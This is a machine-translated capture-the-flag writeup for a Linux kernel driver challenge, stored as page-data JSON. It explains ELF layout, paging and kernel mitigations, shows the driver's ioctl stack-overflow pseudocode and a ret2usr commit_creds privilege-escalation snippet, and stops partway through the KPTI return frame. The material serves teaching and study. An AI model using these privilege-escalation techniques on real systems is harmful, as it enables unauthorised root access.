{"componentChunkName":"component---src-templates-post-template-js","path":"/ctf-sec4b-kernel-exploit-en","result":{"data":{"markdownRemark":{"id":"b1a3461c-4d4d-5924-9a14-96535eeb70dd","html":"<blockquote>\n<p>This page has been machine-translated from the <a href=\"/ctf-sec4b-kernel-exploit\">original page</a>.</p>\n</blockquote>\n<p>This is a deep-dive writeup for the <strong>driver4b</strong> challenge from SECCON Beginners CTF 2023.</p>\n<p>Because the challenge requires knowledge of Linux kernel internals, this document includes background on ELF format, memory layout, kernel mitigations, and the full exploit development process from scratch.</p>\n<!-- omit in toc -->\n<h2 id=\"table-of-contents\" style=\"position:relative;\"><a href=\"#table-of-contents\" aria-label=\"table of contents permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Table of Contents</h2>\n<ul>\n<li><a href=\"#challenge-overview\">Challenge Overview</a></li>\n<li><a href=\"#environment-setup\">Environment Setup</a></li>\n<li>\n<p><a href=\"#elf-binary-format-basics\">ELF Binary Format Basics</a></p>\n<ul>\n<li><a href=\"#elf-sections\">ELF Sections</a></li>\n<li><a href=\"#segments-and-pages\">Segments and Pages</a></li>\n</ul>\n</li>\n<li>\n<p><a href=\"#memory-addressing-basics\">Memory Addressing Basics</a></p>\n<ul>\n<li><a href=\"#virtual-addresses-and-physical-addresses\">Virtual Addresses and Physical Addresses</a></li>\n<li><a href=\"#page-tables\">Page Tables</a></li>\n<li><a href=\"#kernel-address-space\">Kernel Address Space</a></li>\n</ul>\n</li>\n<li>\n<p><a href=\"#kernel-security-mitigations\">Kernel Security Mitigations</a></p>\n<ul>\n<li><a href=\"#smep--smap\">SMEP / SMAP</a></li>\n<li><a href=\"#kaslr\">KASLR</a></li>\n<li><a href=\"#kpti\">KPTI</a></li>\n<li><a href=\"#kadr\">KADR</a></li>\n</ul>\n</li>\n<li><a href=\"#analyzing-the-vulnerable-driver\">Analyzing the Vulnerable Driver</a></li>\n<li>\n<p><a href=\"#exploit-strategy\">Exploit Strategy</a></p>\n<ul>\n<li><a href=\"#ret2usr-and-why-it-fails\">ret2usr and Why It Fails</a></li>\n<li><a href=\"#kpti-trampoline\">KPTI Trampoline</a></li>\n<li><a href=\"#rop-chain-construction\">ROP Chain Construction</a></li>\n</ul>\n</li>\n<li><a href=\"#finding-init_cred-via-tty_struct-heap-scan\">Finding init<em>cred via tty</em>struct Heap Scan</a></li>\n<li><a href=\"#full-exploit-code\">Full Exploit Code</a></li>\n<li><a href=\"#alternative-modprobe_path-exploit\">Alternative: modprobe_path Exploit</a></li>\n<li><a href=\"#summary\">Summary</a></li>\n</ul>\n<h2 id=\"challenge-overview\" style=\"position:relative;\"><a href=\"#challenge-overview\" aria-label=\"challenge overview permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Challenge Overview</h2>\n<p>A custom Linux kernel module (<code class=\"language-text\">driver4b.ko</code>) is provided along with a Buildroot-based kernel image. The driver exposes <code class=\"language-text\">/dev/driver4b</code> with read/write/ioctl operations.</p>\n<p>The vulnerability is a stack-based buffer overflow in the driver’s ioctl handler — user-supplied data is copied to a kernel-stack buffer without bounds checking, overwriting the saved return address.</p>\n<p>Goal: gain a root shell (uid=0).</p>\n<h2 id=\"environment-setup\" style=\"position:relative;\"><a href=\"#environment-setup\" aria-label=\"environment setup permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Environment Setup</h2>\n<p>The challenge provides a Buildroot-based environment. To debug locally:</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\"><span class=\"token comment\"># Extract the provided rootfs</span>\n<span class=\"token function\">mkdir</span> rootfs <span class=\"token operator\">&amp;&amp;</span> <span class=\"token builtin class-name\">cd</span> rootfs\ncpio -idmv <span class=\"token operator\">&lt;</span> <span class=\"token punctuation\">..</span>/rootfs.cpio.gz\n\n<span class=\"token comment\"># Boot with QEMU</span>\nqemu-system-x86_64 <span class=\"token punctuation\">\\</span>\n  -kernel bzImage <span class=\"token punctuation\">\\</span>\n  -initrd rootfs.cpio.gz <span class=\"token punctuation\">\\</span>\n  -append <span class=\"token string\">\"console=ttyS0 nokaslr nopti\"</span> <span class=\"token punctuation\">\\</span>\n  -nographic <span class=\"token punctuation\">\\</span>\n  -m 256M <span class=\"token punctuation\">\\</span>\n  -cpu qemu64,+smep,+smap</code></pre></div>\n<p>For exploit development, start with <code class=\"language-text\">nokaslr nopti</code> to eliminate ASLR and KPTI, then progressively add mitigations back in.</p>\n<h2 id=\"elf-binary-format-basics\" style=\"position:relative;\"><a href=\"#elf-binary-format-basics\" aria-label=\"elf binary format basics permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>ELF Binary Format Basics</h2>\n<h3 id=\"elf-sections\" style=\"position:relative;\"><a href=\"#elf-sections\" aria-label=\"elf sections permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>ELF Sections</h3>\n<p>An ELF file is divided into sections, each serving a specific purpose:</p>\n<table>\n<thead>\n<tr>\n<th>Section</th>\n<th>Contents</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><code class=\"language-text\">.text</code></td>\n<td>Executable code</td>\n</tr>\n<tr>\n<td><code class=\"language-text\">.rodata</code></td>\n<td>Read-only data (string literals, constants)</td>\n</tr>\n<tr>\n<td><code class=\"language-text\">.data</code></td>\n<td>Initialized read-write data (global variables)</td>\n</tr>\n<tr>\n<td><code class=\"language-text\">.bss</code></td>\n<td>Uninitialized data (zeroed at load time)</td>\n</tr>\n<tr>\n<td><code class=\"language-text\">.symtab</code></td>\n<td>Symbol table</td>\n</tr>\n<tr>\n<td><code class=\"language-text\">.strtab</code></td>\n<td>String table (symbol names)</td>\n</tr>\n<tr>\n<td><code class=\"language-text\">.rel.text</code></td>\n<td>Relocation entries for <code class=\"language-text\">.text</code></td>\n</tr>\n</tbody>\n</table>\n<p>Sections are primarily used by the linker and debugger; they may not be present in stripped binaries.</p>\n<h3 id=\"segments-and-pages\" style=\"position:relative;\"><a href=\"#segments-and-pages\" aria-label=\"segments and pages permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Segments and Pages</h3>\n<p>At runtime, sections are grouped into <strong>segments</strong> (also called program headers). A segment defines a contiguous region of virtual address space with a set of permissions (read/write/execute).</p>\n<p>The operating system maps segments into memory in units of <strong>pages</strong> (typically 4 KB on x86-64). Each page has associated permission bits in the page table.</p>\n<p>The kernel module’s <code class=\"language-text\">.text</code> segment is mapped read-execute; <code class=\"language-text\">.data</code>/<code class=\"language-text\">.bss</code> are mapped read-write. This separation is enforced by the hardware MMU.</p>\n<h2 id=\"memory-addressing-basics\" style=\"position:relative;\"><a href=\"#memory-addressing-basics\" aria-label=\"memory addressing basics permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Memory Addressing Basics</h2>\n<h3 id=\"virtual-addresses-and-physical-addresses\" style=\"position:relative;\"><a href=\"#virtual-addresses-and-physical-addresses\" aria-label=\"virtual addresses and physical addresses permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Virtual Addresses and Physical Addresses</h3>\n<p>Every process (and the kernel) operates on <strong>virtual addresses</strong>. The MMU translates virtual addresses to <strong>physical addresses</strong> via the page table.</p>\n<p>On x86-64, the virtual address space is 48 bits (with 4-level paging) or 57 bits (with 5-level paging):</p>\n<ul>\n<li>Bits 0–11: page offset (4 KB pages)</li>\n<li>Bits 12–20: PT index (Page Table)</li>\n<li>Bits 21–29: PD index (Page Directory)</li>\n<li>Bits 30–38: PDP index (Page Directory Pointer)</li>\n<li>Bits 39–47: PML4 index</li>\n</ul>\n<h3 id=\"page-tables\" style=\"position:relative;\"><a href=\"#page-tables\" aria-label=\"page tables permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Page Tables</h3>\n<p>Each process has its own page table hierarchy rooted at the <strong>CR3</strong> register. The kernel has its own page table (or a partial one under KPTI).</p>\n<p>Page table entries contain:</p>\n<ul>\n<li>Physical frame number</li>\n<li>Present bit</li>\n<li>Read/Write bit</li>\n<li>User/Supervisor bit (0 = kernel-only, 1 = user-accessible)</li>\n<li>NX (No-Execute) bit</li>\n</ul>\n<h3 id=\"kernel-address-space\" style=\"position:relative;\"><a href=\"#kernel-address-space\" aria-label=\"kernel address space permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Kernel Address Space</h3>\n<p>On x86-64 Linux, the kernel lives in the upper half of virtual address space, typically starting at <code class=\"language-text\">0xffff888000000000</code> (direct physical map) and <code class=\"language-text\">0xffffffff80000000</code> (kernel text).</p>\n<p>Key kernel symbols:</p>\n<ul>\n<li><code class=\"language-text\">init_cred</code>: The credentials structure for the initial user (uid=0)</li>\n<li><code class=\"language-text\">commit_creds</code>: Function to apply a credentials struct to the current task</li>\n<li><code class=\"language-text\">prepare_kernel_cred</code>: Function to allocate a credentials struct</li>\n</ul>\n<h2 id=\"kernel-security-mitigations\" style=\"position:relative;\"><a href=\"#kernel-security-mitigations\" aria-label=\"kernel security mitigations permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Kernel Security Mitigations</h2>\n<h3 id=\"smep--smap\" style=\"position:relative;\"><a href=\"#smep--smap\" aria-label=\"smep  smap permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>SMEP / SMAP</h3>\n<p><strong>SMEP</strong> (Supervisor Mode Execution Prevention): Prevents the CPU from executing userspace pages while in kernel mode (ring 0). This blocks classic ret2usr attacks.</p>\n<p><strong>SMAP</strong> (Supervisor Mode Access Prevention): Prevents the kernel from reading/writing userspace memory without explicit permission. Bypassing SMAP requires <code class=\"language-text\">stac</code>/<code class=\"language-text\">clac</code> instructions or using <code class=\"language-text\">copy_from_user</code>/<code class=\"language-text\">copy_to_user</code>.</p>\n<p>Both are enabled via CPU feature bits and can be detected in <code class=\"language-text\">/proc/cpuinfo</code>.</p>\n<h3 id=\"kaslr\" style=\"position:relative;\"><a href=\"#kaslr\" aria-label=\"kaslr permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>KASLR</h3>\n<p><strong>KASLR</strong> (Kernel Address Space Layout Randomization): Randomizes the base address of the kernel image at boot time. The base offset is added to all kernel virtual addresses.</p>\n<p>To work around KASLR, an exploit needs a kernel address leak (e.g., from <code class=\"language-text\">/proc/kallsyms</code>, a heap spray that lands near known structures, or an information disclosure vulnerability).</p>\n<h3 id=\"kpti\" style=\"position:relative;\"><a href=\"#kpti\" aria-label=\"kpti permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>KPTI</h3>\n<p><strong>KPTI</strong> (Kernel Page Table Isolation): Introduced to mitigate Meltdown. Maintains two sets of page tables:</p>\n<ul>\n<li><strong>User page table</strong>: Contains only the kernel trampoline stubs (minimal kernel mapping) when executing in user mode</li>\n<li><strong>Kernel page table</strong>: Full mapping, used when executing in kernel mode</li>\n</ul>\n<p>Switching from kernel mode back to user mode requires a special <strong>KPTI trampoline</strong> (<code class=\"language-text\">swapgs_restore_regs_and_return_to_usermode</code>) to safely switch page tables and return to user space.</p>\n<p>Without using the trampoline, attempting to <code class=\"language-text\">iretq</code> directly from kernel mode under KPTI causes a page fault (because the user page table doesn’t have the kernel stack mapped), resulting in a crash.</p>\n<h3 id=\"kadr\" style=\"position:relative;\"><a href=\"#kadr\" aria-label=\"kadr permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>KADR</h3>\n<p><strong>KADR</strong> (Kernel Address Display Restriction): Restricts what kernel addresses are exposed to unprivileged users (e.g., <code class=\"language-text\">/proc/kallsyms</code> shows <code class=\"language-text\">0000000000000000</code> for symbols unless the reader is root). This complicates obtaining address leaks.</p>\n<h2 id=\"analyzing-the-vulnerable-driver\" style=\"position:relative;\"><a href=\"#analyzing-the-vulnerable-driver\" aria-label=\"analyzing the vulnerable driver permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Analyzing the Vulnerable Driver</h2>\n<p>The driver exposes an ioctl that performs the following:</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token comment\">// Simplified pseudocode</span>\n<span class=\"token keyword\">long</span> <span class=\"token function\">driver4b_ioctl</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">struct</span> <span class=\"token class-name\">file</span> <span class=\"token operator\">*</span>f<span class=\"token punctuation\">,</span> <span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">int</span> cmd<span class=\"token punctuation\">,</span> <span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">long</span> arg<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">char</span> buf<span class=\"token punctuation\">[</span><span class=\"token number\">64</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>  <span class=\"token comment\">// kernel stack buffer</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>cmd <span class=\"token operator\">==</span> IOCTL_WRITE<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token function\">copy_from_user</span><span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">,</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">void</span> __user <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>arg<span class=\"token punctuation\">,</span> <span class=\"token number\">256</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>  <span class=\"token comment\">// BUG: copies 256 bytes into 64-byte buffer</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">return</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>The <code class=\"language-text\">copy_from_user</code> call copies 256 bytes from userspace into a 64-byte kernel stack buffer, overwriting the saved return address and beyond.</p>\n<p>This gives us control of RIP when the ioctl returns.</p>\n<h2 id=\"exploit-strategy\" style=\"position:relative;\"><a href=\"#exploit-strategy\" aria-label=\"exploit strategy permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Exploit Strategy</h2>\n<h3 id=\"ret2usr-and-why-it-fails\" style=\"position:relative;\"><a href=\"#ret2usr-and-why-it-fails\" aria-label=\"ret2usr and why it fails permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>ret2usr and Why It Fails</h3>\n<p>The classic <strong>ret2usr</strong> technique sets the kernel’s return address to point at a userspace shellcode function:</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token keyword\">void</span> <span class=\"token function\">escalate_privs</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">commit_creds</span><span class=\"token punctuation\">(</span><span class=\"token function\">prepare_kernel_cred</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>However, with SMEP enabled, the CPU will fault if the kernel attempts to execute a userspace page. So ret2usr requires disabling SMEP first — either by controlling <code class=\"language-text\">CR4</code> (via a ROP gadget) or by finding all the needed gadgets in kernel space.</p>\n<h3 id=\"kpti-trampoline\" style=\"position:relative;\"><a href=\"#kpti-trampoline\" aria-label=\"kpti trampoline permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>KPTI Trampoline</h3>\n<p>When returning from kernel to user mode under KPTI, we must use <code class=\"language-text\">swapgs_restore_regs_and_return_to_usermode</code>. This function:</p>\n<ol>\n<li>Restores general-purpose registers</li>\n<li>Calls <code class=\"language-text\">swapgs</code> to restore the user GS base</li>\n<li>Calls <code class=\"language-text\">iretq</code> to return to user mode with the correct page table</li>\n</ol>\n<p>The full return stack frame for <code class=\"language-text\">iretq</code> must be:</p>\n<div class=\"gatsby-highlight\" data-language=\"text\"><pre class=\"language-text\"><code class=\"language-text\">RIP    (user instruction pointer to return to)\nCS     (user code segment, typically 0x33)\nRFLAGS (user flags, typically 0x202)\nRSP    (user stack 